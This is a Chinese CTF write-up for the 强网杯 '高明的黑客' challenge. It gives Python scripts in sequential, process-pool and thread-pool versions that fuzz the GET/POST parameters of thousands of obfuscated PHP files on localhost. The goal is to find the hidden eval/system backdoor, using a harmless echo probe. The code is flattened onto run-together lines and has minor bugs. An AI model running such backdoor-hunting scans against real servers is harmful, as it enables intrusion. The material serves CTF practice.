本文主要是介绍强网杯高明的黑客,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
下载源码,发现里面有3002个文件,随便打开一个文件看看
可以发现里面有很多没用的参数,打开其他文件也是如此,既然有这么多文件,是不是需要遍历文件,来获取可用的请求参数呢,例如eval,system等函数
在本地搭个环境跑
我参考了这篇文章的思路
就是一次发送所有的请求,再找到可用的参数
之前我是慢慢遍历,真的没用,以后得多练练编程思路
放上我根据那篇文章的思路写的脚本,大概用了5分钟。。。。。
这个版本是普通版本的,下面有进程池和线程池版本的,原理都差不多,大概用了2分钟不到
import requests
import re
import os
import time#初始化变量
t1 = time.time() #设置开始时间
url ="http://localhost/src/" #初始化url
files = os.listdir("src/") #打开文件夹里的文件,并将文件以列表形式返回
s = requests.Session() #实例化一个会话保持对象
s.keep_alive =False'''实现主要逻辑
1、先找到当前php文件的get,post所有参数
2、一次性发送所有的参数,看看能否输出想要的内容
3、如果有,遍历所有的get参数,post参数,找到想要的参数
备注:
在本地搭php环境,版本必须7.0以上,否则不能输出想要的内容requests.Session()的讲解
http://2.python-requests.org/zh_CN/latest/user/advanced.html'''
def run(file):print("开始尝试,当前文件为:",file,"当前时间为:",time.strftime("%H:%M:%S",time.localtime())) #输出当前的文件和当前时间#打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))#初始化字典,以便于一次性请求所有的参数params = {} #初始化get请求data = {} #初始化post请求#找到的get参数赋值为输出pensonfor find1 in gets:params[find1] ='echo "penson";'#找到的post参数赋值为输出pensonfor find2 in posts:data[find2] = 'echo "penson";'#向当前的文件发送所有的请求url = "http://localhost/src/"+filer = s.post(url,params=params,data=data) #请求发送get参数和post参数r.close() #关闭内存r.encoding='utf-8' #utf-8编码,不然可能找不到# 如果发现这个文件里有pensonif "penson" in r.text:found = 0#遍历发送get请求,如果找到就退出程序for get in gets:new_url = url + '?{}={}'.format(get,'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:found =1t2 = time.time()print("find it",new_url)print(time.strftime("%H:%M:%S",time.localtime()))print("一共用时",time.strftime("%M:%S",time.localtime(t2-t1)))exit()#如果没找到,遍历发送post请求if found == 0:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:found =1t2 = time.time()print("find it",url,"post:",post)print(time.strftime("%H:%M:%S",time.localtime()))print("一共用时", time.strftime("%M:%S", time.localtime(t3 - t1)))exit()for file in files:run(file)
多进程版本
import requests
import re
import os
import time
import sys
from multiprocessing import Pools = requests.Session()def find_get(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime())) # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))# 初始化字典,以便于一次性请求所有的参数params = {} # 初始化get请求for find_get in gets:params[find_get] = 'echo "penson";'url = "http://localhost/src/"+filer = s.get(url,params=params)r.close()if "penson" in r.text:for get in gets:new_url = url + '?{}={}'.format(get, 'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:print("find it", new_url)return new_urldef find_post(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime())) # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))data = {} # 初始化post请求for find_post in posts:data[find_post] = 'echo "penson";'url = "http://localhost/src/" + filer = s.post(url,data=data)r.close()if "penson" in r.text:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:print("find it", url,"post:",data[post])new_url = url +'post'+filereturn new_urltext =[]
def callback(n):text.append(n)if __name__ == '__main__':files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")p = Pool(10)t1 = time.time()for file in files:p.apply_async(find_get,args=(file,t1),callback=callback)p.close()p.join()for i in text:if i == None:continueelse:print(i,"\n一共用时:{}".format(time.strftime("%M:%S", time.localtime(time.time() - t1))))
多线程版
from multiprocessing.pool import ThreadPool
import requests
import re
import os
import times = requests.Session()def find_get(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime())) # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))# 初始化字典,以便于一次性请求所有的参数params = {} # 初始化get请求for find_get in gets:params[find_get] = 'echo "penson";'url = "http://localhost/src/"+filer = s.get(url,params=params)r.close()if "penson" in r.text:for get in gets:new_url = url + '?{}={}'.format(get, 'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:t2 = time.time()print("一共用时", time.strftime("%M:%S", time.localtime(t2 - t1)))print("find it", new_url)os._exit(0)def find_post(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime())) # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))data = {} # 初始化post请求for find_post in posts:data[find_post] = 'echo "penson";'url = "http://localhost/src/" + filer = s.post(url,data=data)r.close()if "penson" in r.text:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:print("find it", url,"post:",data[post])os._exit(0)if __name__ == '__main__':files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")pool = ThreadPool(10)t1 = time.time()for file in files:pool.apply_async(find_get,args=(file,t1,))pool.close()pool.join()
这篇关于强网杯高明的黑客的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!